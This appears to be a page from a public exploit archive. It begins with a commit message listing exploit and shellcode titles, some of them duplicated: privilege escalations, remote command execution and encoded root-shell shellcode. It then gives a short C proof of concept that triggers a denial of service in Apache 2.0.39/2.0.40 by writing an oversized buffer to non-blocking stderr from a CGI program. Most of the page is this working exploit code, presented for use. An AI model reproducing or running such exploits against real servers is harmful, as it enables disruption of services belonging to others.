880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
49 lines
No EOL
1.6 KiB
C
49 lines
No EOL
1.6 KiB
C
// source: https://www.securityfocus.com/bid/5787/info
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Apache is prone to a denial of service condition when an excessive amount of data is written to stderr. This condition reportedly occurs when the amount of data written to stderr is over the default amount allowed by the operating system.
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This may potentially be an issue in web applications that write user-supplied data to stderr. Additionally, locally based attackers may exploit this issue.
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This issue has been confirmed in Apache 2.0.39/2.0.40 on Linux operating systems. Apache on other platforms may also be affected. This issue does not appear to be present in versions prior to 2.0.x.
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// Credit to: K.C. Wong
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#include <stdio.h>
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#include <time.h>
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#include <unistd.h>
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#include <fcntl.h>
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#define SIZE 4075
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void out_err()
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{
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char buffer[SIZE];
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int i = 0;
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for (i = 0; i < SIZE - 1; ++i)
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buffer[i] = 'a' + (char )(i % 26);
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buffer[SIZE - 1] = '\0';
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//
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fcntl(2, F_SETFL, fcntl(2, F_GETFL) | O_NONBLOCK);
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fprintf(stderr, "short test\n");
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fflush(stderr);
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fprintf(stderr, "test error=%s\n", buffer);
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fflush(stderr);
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} // out_err()
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int main(int argc, char ** argv)
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{
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fprintf(stdout, "Context-Type: text/html\r\n");
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fprintf(stdout, "\r\n\r\n");
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out_err();
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fprintf(stdout, "<HTML>\n");
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fprintf(stdout, "<body>\n");
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fprintf(stdout, "<h1>hello world</h1>\n");
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fprintf(stdout, "</body>\n");
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fprintf(stdout, "</HTML>\n");
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fflush(stdout);
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exit(0);
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} // main()
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